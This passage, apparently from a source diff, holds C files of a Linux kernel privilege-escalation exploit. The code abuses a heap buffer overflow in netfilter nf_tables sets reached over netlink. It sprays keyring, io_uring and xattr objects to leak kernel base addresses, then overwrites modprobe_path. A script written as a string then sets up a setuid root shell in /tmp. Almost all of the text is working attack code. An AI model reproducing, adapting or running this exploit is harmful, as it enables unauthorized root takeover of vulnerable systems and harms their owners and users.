|
||||
|
||||
/**
|
||||
* release_keys(): Release user_key_payload objects
|
||||
* @id_buffer: Buffer that stores the id of the key to remove
|
||||
* @id_buffer_size: Size of the previous buffer
|
||||
*/
|
||||
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
|
||||
|
||||
for (uint32_t i = 0; i < id_buffer_size; i++) {
|
||||
if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
|
||||
do_error_exit("keyctl(KEYCTL_REVOKE)");
|
||||
}
|
||||
|
||||
free(id_buffer);
|
||||
}
|
|
@ -0,0 +1,132 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
#include <sys/wait.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/netlink.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "util.h"
|
||||
#include "uring.h"
|
||||
#include "keyring.h"
|
||||
#include "modprobe.h"
|
||||
#include "nf_tables.h"
|
||||
#include "simple_xattr.h"
|
||||
|
||||
#define ID 1337
|
||||
#define SET_NAME "name\0\0\0"
|
||||
#define LEAK_SET_NAME "leak\0\0\0"
|
||||
#define TABLE_NAME "table\0\0"
|
||||
|
||||
#define MODPROBE_PATH_BASE 0x1e8b620
|
||||
|
||||
#define SPRAY_SIZE 300
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
int sock;
|
||||
struct sockaddr_nl snl;
|
||||
struct write4_payload payload;
|
||||
struct keyring_payload leak_payload;
|
||||
struct leak *bases;
|
||||
struct fd_uring *fd_buffer;
|
||||
key_serial_t *id_buffer;
|
||||
char *xattr_target_filename;
|
||||
|
||||
/* Pin the process to the first CPU */
|
||||
set_cpu_affinity(0, 0);
|
||||
|
||||
prepare_root_shell();
|
||||
printf("[+] Second process currently waiting\n");
|
||||
|
||||
new_ns();
|
||||
printf("[+] Get CAP_NET_ADMIN capability\n");
|
||||
|
||||
/* Netfilter netlink socket creation */
|
||||
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
|
||||
do_error_exit("socket");
|
||||
}
|
||||
printf("[+] Netlink socket created\n");
|
||||
|
||||
memset(&snl, 0, sizeof(snl));
|
||||
snl.nl_family = AF_NETLINK;
|
||||
snl.nl_pid = getpid();
|
||||
if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
|
||||
do_error_exit("bind");
|
||||
printf("[+] Netlink socket bound\n");
|
||||
|
||||
/* Create a netfilter table */
|
||||
create_table(sock, TABLE_NAME);
|
||||
printf("[+] Table %s created\n", TABLE_NAME);
|
||||
|
||||
/* Create a netfilter set for the info leak */
|
||||
create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
|
||||
printf("[+] Set for the leak created\n");
|
||||
|
||||
/* Create a netfilter set for the write primitive */
|
||||
create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
|
||||
printf("[+] Set for write primitive created\n");
|
||||
|
||||
/* Prepare the payload for the leak */
|
||||
memset(&leak_payload, 0, sizeof(struct keyring_payload));
|
||||
leak_payload.len = USHRT_MAX;
|
||||
|
||||
printf("[*] Leak in process");
|
||||
fflush(stdout);
|
||||
retry:
|
||||
/* Spray the heap with user_key_payload structs to perform an info leak */
|
||||
id_buffer = spray_keyring(SPRAY_KEY_SIZE);
|
||||
|
||||
/** Perform the overflow to modify the size of a registered key **/
|
||||
add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
|
||||
|
||||
/* Spray the heap with percpu_ref_data */
|
||||
fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
|
||||
if (!fd_buffer)
|
||||
do_error_exit("calloc");
|
||||
spray_uring(SPRAY_SIZE, fd_buffer);
|
||||
|
||||
/* Check if the overflow occured on the right object */
|
||||
bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
|
||||
if (!bases) {
|
||||
release_keys(id_buffer, SPRAY_KEY_SIZE);
|
||||
release_uring(fd_buffer, SPRAY_SIZE);
|
||||
goto retry;
|
||||
}
|
||||
printf("\r[+] Leak succeed \n");
|
||||
printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
|
||||
printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
|
||||
|
||||
/* Prepare the payload for the write primitive */
|
||||
memset(&payload, 0, sizeof(struct write4_payload));
|
||||
payload.next = (void *)(bases->physmap_base + 0x2f706d74);
|
||||
payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1);
|
||||
payload.name_offset = 0xe5;
|
||||
|
||||
respray_xattr:
|
||||
/* Spray the heap for the write primitive */
|
||||
xattr_target_filename = generate_tmp_filename();
|
||||
spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
|
||||
|
||||
add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
|
||||
|
||||
/* Proceed to the write */
|
||||
if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
|
||||
goto respray_xattr;
|
||||
|
||||
printf("[+] modprobe_path changed !\n");
|
||||
|
||||
setup_modprobe_payload();
|
||||
printf("[+] Modprobe payload setup\n");
|
||||
get_root_shell();
|
||||
|
||||
wait(NULL);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,124 @@
|
|||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/shm.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/types.h>
|
||||
#include <semaphore.h>
|
||||
#include <string.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "modprobe.h"
|
||||
|
||||
const char dummy_file[] = "/tmp/dummy\0";
|
||||
|
||||
const char dummy_content[] = "\xff\xff\xff\xff";
|
||||
const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n";
|
||||
|
||||
sem_t *shell_barrier;
|
||||
|
||||
/**
|
||||
* prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
|
||||
*/
|
||||
void prepare_root_shell(void) {
|
||||
|
||||
int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
shell_barrier = shmat(shmid, NULL, 0);
|
||||
|
||||
if (sem_init(shell_barrier, 1, 0) < 0)
|
||||
do_error_exit("sem_init");
|
||||
|
||||
if (!fork()) {
|
||||
system("cp get_root /tmp");
|
||||
sem_wait(shell_barrier);
|
||||
execl("/tmp/get_root", "/tmp/get_root", NULL);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* create_dummy_file(): Create a file to trigger call_modprobe in case of execution
|
||||
*/
|
||||
void create_dummy_file(void) {
|
||||
|
||||
int fd;
|
||||
|
||||
fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
write(fd, dummy_content, sizeof(dummy_content));
|
||||
close(fd);
|
||||
}
|
||||
|
||||
/**
|
||||
* get_root_shell(): Trigger a call to the new modprobe_path
|
||||
*/
|
||||
void get_root_shell(void) {
|
||||
|
||||
int pid = fork();
|
||||
if (pid == 0)
|
||||
execl("/tmp/dummy", "/tmp/dummy", NULL);
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
sem_post(shell_barrier);
|
||||
}
|
||||
|
||||
/**
|
||||
* get_new_modprobe_path(): Read the new modprobe_path
|
||||
*
|
||||
* Return: path stored within /proc/sys/kernel/modprobe
|
||||
*/
|
||||
char *get_new_modprobe_path(void) {
|
||||
|
||||
int fd;
|
||||
char *modprobe_path = malloc(15);
|
||||
|
||||
if (!modprobe_path)
|
||||
do_error_exit("malloc");
|
||||
|
||||
fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
|
||||
if (fd < 0)
|
||||
do_error_exit("open(/proc/sys/kernel/modprobe)");
|
||||
|
||||
read(fd, modprobe_path, 14);
|
||||
|
||||
close(fd);
|
||||
|
||||
modprobe_path[14] = '\0';
|
||||
|
||||
return modprobe_path;
|
||||
}
|
||||
|
||||
/**
|
||||
* write_new_modprobe(): Create chown && chmod script for get_root
|
||||
* @filename: current path to modprobe for the kernel
|
||||
*/
|
||||
void write_new_modprobe(char *filename) {
|
||||
|
||||
int fd;
|
||||
|
||||
fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
if (fd < 0)
|
||||
do_error_exit("open");
|
||||
|
||||
write(fd, new_modprobe_content, sizeof(new_modprobe_content));
|
||||
|
||||
close(fd);
|
||||
}
|
||||
|
||||
/**
|
||||
* setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
|
||||
*/
|
||||
void setup_modprobe_payload(void) {
|
||||
|
||||
char *filename;
|
||||
|
||||
filename = get_new_modprobe_path();
|
||||
|
||||
write_new_modprobe(filename);
|
||||
create_dummy_file();
|
||||
|
||||
free(filename);
|
||||
}
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "netlink.h"
|
||||
|
||||
/**
|
||||
* get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink
|
||||
*/
|
||||
struct nlmsghdr *get_batch_begin_nlmsg(void) {
|
||||
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
|
||||
struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);
|
||||
|
||||
if (!nlh)
|
||||
do_error_exit("malloc");
|
||||
|
||||
memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
|
||||
nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
|
||||
nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
|
||||
nlh->nlmsg_pid = getpid();
|
||||
nlh->nlmsg_flags = 0;
|
||||
nlh->nlmsg_seq = 0;
|
||||
|
||||
/* Used to access to the netfilter tables subsystem */
|
||||
nfgm->res_id = NFNL_SUBSYS_NFTABLES;
|
||||
|
||||
return nlh;
|
||||
}
|
||||
|
||||
/**
|
||||
* get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink
|
||||
*/
|
||||
struct nlmsghdr *get_batch_end_nlmsg(void) {
|
||||
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
|
||||
|
||||
if (!nlh)
|
||||
do_error_exit("malloc");
|
||||
|
||||
memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
|
||||
nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
|
||||
nlh->nlmsg_type = NFNL_MSG_BATCH_END;
|
||||
nlh->nlmsg_pid = getpid();
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST;
|
||||
nlh->nlmsg_seq = 0;
|
||||
|
||||
return nlh;
|
||||
}
|
||||
|
||||
/**
|
||||
* set_nested_attr(): Prepare a nested netlink attribute
|
||||
* @attr: Attribute to fill
|
||||
* @type: Type of the nested attribute
|
||||
* @data_len: Length of the nested attribute
|
||||
*/
|
||||
struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) {
|
||||
attr->nla_type = type;
|
||||
attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
|
||||
return (void *)attr + sizeof(struct nlattr);
|
||||
}
|
||||
|
||||
/**
|
||||
* set_u32_attr(): Prepare an integer netlink attribute
|
||||
* @attr: Attribute to fill
|
||||
* @type: Type of the attribute
|
||||
* @value: Value of this attribute
|
||||
*/
|
||||
struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) {
|
||||
attr->nla_type = type;
|
||||
attr->nla_len = U32_NLA_SIZE;
|
||||
*(uint32_t *)NLA_ATTR(attr) = htonl(value);
|
||||
|
||||
return (void *)attr + U32_NLA_SIZE;
|
||||
}
|
||||
|
||||
/**
|
||||
* set_u64_attr(): Prepare a 64 bits integer netlink attribute
|
||||
* @attr: Attribute to fill
|
||||
* @type: Type of the attribute
|
||||
* @value: Value of this attribute
|
||||
*/
|
||||
struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) {
|
||||
attr->nla_type = type;
|
||||
attr->nla_len = U64_NLA_SIZE;
|
||||
*(uint64_t *)NLA_ATTR(attr) = htobe64(value);
|
||||
|
||||
return (void *)attr + U64_NLA_SIZE;
|
||||
}
|
||||
|
||||
/**
|
||||
* set_str8_attr(): Prepare a 8 bytes long string netlink attribute
|
||||
* @attr: Attribute to fill
|
||||
* @type: Type of the attribute
|
||||
* @name: Buffer to copy into the attribute
|
||||
*/
|
||||
struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) {
|
||||
attr->nla_type = type;
|
||||
attr->nla_len = S8_NLA_SIZE;
|
||||
memcpy(NLA_ATTR(attr), name, 8);
|
||||
|
||||
return (void *)attr + S8_NLA_SIZE;
|
||||
}
|
||||
|
||||
/**
|
||||
* set_binary_attr(): Prepare a byte array netlink attribute
|
||||
* @attr: Attribute to fill
|
||||
* @type: Type of the attribute
|
||||
* @buffer: Buffer with data to send
|
||||
* @buffer_size: Size of the previous buffer
|
||||
*/
|
||||
struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) {
|
||||
attr->nla_type = type;
|
||||
attr->nla_len = NLA_BIN_SIZE(buffer_size);
|
||||
memcpy(NLA_ATTR(attr), buffer, buffer_size);
|
||||
|
||||
return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
|
||||
}
|
|
@ -0,0 +1,313 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "netlink.h"
|
||||
#include "nf_tables.h"
|
||||
#include "log.h"
|
||||
|
||||
const uint8_t zerobuf[0x40] = {0};
|
||||
|
||||
/**
|
||||
* create_table(): Register a new table for the inet family
|
||||
* @sock: socket bound to the netfilter netlink
|
||||
* @name: Name of the new table
|
||||
*/
|
||||
void create_table(int sock, const char *name) {
|
||||
struct msghdr msg;
|
||||
struct sockaddr_nl dest_snl;
|
||||
struct iovec iov[3];
|
||||
struct nlmsghdr *nlh_batch_begin;
|
||||
struct nlmsghdr *nlh;
|
||||
struct nlmsghdr *nlh_batch_end;
|
||||
struct nlattr *attr;
|
||||
struct nfgenmsg *nfm;
|
||||
|
||||
/* Destination preparation */
|
||||
memset(&dest_snl, 0, sizeof(dest_snl));
|
||||
dest_snl.nl_family = AF_NETLINK;
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
/* Netlink batch_begin message preparation */
|
||||
nlh_batch_begin = get_batch_begin_nlmsg();
|
||||
|
||||
/* Netlink table message preparation */
|
||||
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
|
||||
if (!nlh)
|
||||
do_error_exit("malloc");
|
||||
|
||||
memset(nlh, 0, TABLEMSG_SIZE);
|
||||
nlh->nlmsg_len = TABLEMSG_SIZE;
|
||||
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
|
||||
nlh->nlmsg_pid = getpid();
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST;
|
||||
nlh->nlmsg_seq = 0;
|
||||
|
||||
nfm = NLMSG_DATA(nlh);
|
||||
nfm->nfgen_family = NFPROTO_INET;
|
||||
|
||||
/** Prepare associated attribute **/
|
||||
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
|
||||
set_str8_attr(attr, NFTA_TABLE_NAME, name);
|
||||
|
||||
/* Netlink batch_end message preparation */
|
||||
nlh_batch_end = get_batch_end_nlmsg();
|
||||
|
||||
/* IOV preparation */
|
||||
memset(iov, 0, sizeof(struct iovec) * 3);
|
||||
iov[0].iov_base = (void *)nlh_batch_begin;
|
||||
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
|
||||
iov[1].iov_base = (void *)nlh;
|
||||
iov[1].iov_len = nlh->nlmsg_len;
|
||||
iov[2].iov_base = (void *)nlh_batch_end;
|
||||
iov[2].iov_len = nlh_batch_end->nlmsg_len;
|
||||
|
||||
/* Message header preparation */
|
||||
msg.msg_name = (void *)&dest_snl;
|
||||
msg.msg_namelen = sizeof(struct sockaddr_nl);
|
||||
msg.msg_iov = iov;
|
||||
msg.msg_iovlen = 3;
|
||||
|
||||
sendmsg(sock, &msg, 0);
|
||||
|
||||
/* Free used structures */
|
||||
free(nlh_batch_end);
|
||||
free(nlh);
|
||||
free(nlh_batch_begin);
|
||||
}
|
||||
|
||||
/**
|
||||
* create_set(): Create a netfilter set
|
||||
* @sock: Socket used to communicate throught the netfilter netlink
|
||||
* @set_name: Name of the created set
|
||||
* @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache
|
||||
* @data_len: Length of stored data. Used to control the size of the overflow
|
||||
* @table_name: Name of the table that stores this set
|
||||
* @id: ID of the created set
|
||||
*/
|
||||
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
|
||||
struct msghdr msg;
|
||||
struct sockaddr_nl dest_snl;
|
||||
struct nlmsghdr *nlh_batch_begin;
|
||||
struct nlmsghdr *nlh_payload;
|
||||
struct nlmsghdr *nlh_batch_end;
|
||||
struct nfgenmsg *nfm;
|
||||
struct nlattr *attr;
|
||||
uint64_t nlh_payload_size;
|
||||
struct iovec iov[3];
|
||||
|
||||
/* Prepare the netlink sockaddr for msg */
|
||||
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
|
||||
dest_snl.nl_family = AF_NETLINK;
|
||||
|
||||
/* First netlink message: batch_begin */
|
||||
nlh_batch_begin = get_batch_begin_nlmsg();
|
||||
|
||||
/* Second netlink message : Set attributes */
|
||||
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
|
||||
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE
|
||||
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME
|
||||
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID
|
||||
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN
|
||||
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS
|
||||
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE
|
||||
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN
|
||||
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
|
||||
|
||||
/** Allocation **/
|
||||
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
|
||||
if (!nlh_payload)
|
||||
do_error_exit("malloc");
|
||||
|
||||
memset(nlh_payload, 0, nlh_payload_size);
|
||||
|
||||
/** Fill the required fields **/
|
||||
nlh_payload->nlmsg_len = nlh_payload_size;
|
||||
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
|
||||
nlh_payload->nlmsg_pid = getpid();
|
||||
nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
|
||||
nlh_payload->nlmsg_seq = 0;
|
||||
|
||||
|
||||
/** Setup the nfgenmsg **/
|
||||
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
|
||||
nfm->nfgen_family = NFPROTO_INET;
|
||||
|
||||
/** Setup the attributes */
|
||||
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
|
||||
attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
|
||||
attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
|
||||
attr = set_u32_attr(attr, NFTA_SET_ID, id);
|
||||
attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
|
||||
attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
|
||||
attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
|
||||
set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
|
||||
|
||||
/* Last netlink message: batch_end */
|
||||
nlh_batch_end = get_batch_end_nlmsg();
|
||||
|
||||
/* Setup the iovec */
|
||||
memset(iov, 0, sizeof(struct iovec) * 3);
|
||||
iov[0].iov_base = (void *)nlh_batch_begin;
|
||||
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
|
||||
iov[1].iov_base = (void *)nlh_payload;
|
||||
iov[1].iov_len = nlh_payload->nlmsg_len;
|
||||
iov[2].iov_base = (void *)nlh_batch_end;
|
||||
iov[2].iov_len = nlh_batch_end->nlmsg_len;
|
||||
|
||||
/* Prepare the message to send */
|
||||
memset(&msg, 0, sizeof(struct msghdr));
|
||||
msg.msg_name = (void *)&dest_snl;
|
||||
msg.msg_namelen = sizeof(struct sockaddr_nl);
|
||||
msg.msg_iov = iov;
|
||||
msg.msg_iovlen = 3;
|
||||
|
||||
/* Send message */
|
||||
sendmsg(sock, &msg, 0);
|
||||
|
||||
/* Free allocated memory */
|
||||
free(nlh_batch_end);
|
||||
free(nlh_payload);
|
||||
free(nlh_batch_begin);
|
||||
}
|
||||
|
||||
/**
|
||||
* add_elem_to_set(): Trigger the heap buffer overflow
|
||||
* @sock: Socket used to communicate throught the netfilter netlink
|
||||
* @set_name: Name of the set to add the element
|
||||
* @set_keylen: Length of the keys of the previous set
|
||||
* @table_name: Table associated to the preiv
|
||||
* @id: ID of the previous set
|
||||
* @data_len: Length of the data to copy. (= Size of the overflow - 16 )
|
||||
* @data: Data used for the overflow
|
||||
*
|
||||
* Submit two elements to add to the set.
|
||||
* The first one is used to setup the data payload
|
||||
* The second will trigger the overflow
|
||||
*/
|
||||
void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) {
|
||||
struct msghdr msg;
|
||||
struct sockaddr_nl dest_snl;
|
||||
struct nlmsghdr *nlh_batch_begin;
|
||||
struct nlmsghdr *nlh_payload;
|
||||
struct nlmsghdr *nlh_batch_end;
|
||||
struct nfgenmsg *nfm;
|
||||
struct nlattr *attr;
|
||||
uint64_t nlh_payload_size;
|
||||
uint64_t nested_attr_size;
|
||||
size_t first_element_size;
|
||||
size_t second_element_size;
|
||||
struct iovec iov[3];
|
||||
|
||||
/* Prepare the netlink sockaddr for msg */
|
||||
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
|
||||
dest_snl.nl_family = AF_NETLINK;
|
||||
|
||||
/* First netlink message: batch */
|
||||
nlh_batch_begin = get_batch_begin_nlmsg();
|
||||
|
||||
/* Second netlink message : Set attributes */
|
||||
|
||||
/** Precompute the size of the nested field **/
|
||||
nested_attr_size = 0;
|
||||
|
||||
/*** First element ***/
|
||||
nested_attr_size += sizeof(struct nlattr); // Englobing attribute
|
||||
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
|
||||
nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
|
||||
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
|
||||
nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE
|
||||
first_element_size = nested_attr_size;
|
||||
|
||||
/*** Second element ***/
|
||||
nested_attr_size += sizeof(struct nlattr); // Englobing attribute
|
||||
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
|
||||
nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
|
||||
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
|
||||
nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT
|
||||
nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE
|
||||
second_element_size = nested_attr_size - first_element_size;
|
||||
|
||||
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
|
||||
nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS
|
||||
nlh_payload_size += nested_attr_size; // All the stuff described above
|
||||
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE
|
||||
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET
|
||||
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID
|
||||
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
|
||||
|
||||
/** Allocation **/
|
||||
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
|
||||
if (!nlh_payload) {
|
||||
do_error_exit("malloc");
|
||||
}
|
||||
memset(nlh_payload, 0, nlh_payload_size);
|
||||
|
||||
/** Fill the required fields **/
|
||||
nlh_payload->nlmsg_len = nlh_payload_size;
|
||||
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
|
||||
nlh_payload->nlmsg_pid = getpid();
|
||||
nlh_payload->nlmsg_flags = NLM_F_REQUEST;
|
||||
nlh_payload->nlmsg_seq = 0;
|
||||
|
||||
/** Setup the nfgenmsg **/
|
||||
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
|
||||
nfm->nfgen_family = NFPROTO_INET;
|
||||
|
||||
/** Setup the attributes */
|
||||
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
|
||||
attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
|
||||
attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
|
||||
attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
|
||||
attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size);
|
||||
|
||||
/*** First element ***/
|
||||
attr = set_nested_attr(attr, 0, first_element_size - 4);
|
||||
attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
|
||||
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
|
||||
attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len));
|
||||
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len);
|
||||
|
||||
/*** Second element ***/
|
||||
attr = set_nested_attr(attr, 0, second_element_size - 4);
|
||||
attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
|
||||
attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
|
||||
attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr));
|
||||
attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
|
||||
set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);
|
||||
|
||||
/* Last netlink message: End of batch */
|
||||
nlh_batch_end = get_batch_end_nlmsg();
|
||||
|
||||
/* Setup the iovec */
|
||||
memset(iov, 0, sizeof(struct iovec) * 3);
|
||||
iov[0].iov_base = (void *)nlh_batch_begin;
|
||||
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
|
||||
iov[1].iov_base = (void *)nlh_payload;
|
||||
iov[1].iov_len = nlh_payload->nlmsg_len;
|
||||
iov[2].iov_base = (void *)nlh_batch_end;
|
||||
iov[2].iov_len = nlh_batch_end->nlmsg_len;
|
||||
|
||||
/* Prepare the message to send */
|
||||
memset(&msg, 0, sizeof(struct msghdr));
|
||||
msg.msg_name = (void *)&dest_snl;
|
||||
msg.msg_namelen = sizeof(struct sockaddr_nl);
|
||||
msg.msg_iov = iov;
|
||||
msg.msg_iovlen = 3;
|
||||
|
||||
/* Send message */
|
||||
sendmsg(sock, &msg, 0);
|
||||
|
||||
/* Free allocated memory */
|
||||
free(nlh_batch_end);
|
||||
free(nlh_payload);
|
||||
free(nlh_batch_begin);
|
||||
}
|
|
@ -0,0 +1,50 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/stat.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mount.h>
|
||||
#include "log.h"
|
||||
#include "simple_xattr.h"
|
||||
|
||||
/**
|
||||
* spray_simple_xattr(): Spray the heap with `simple_xattr` objects
|
||||
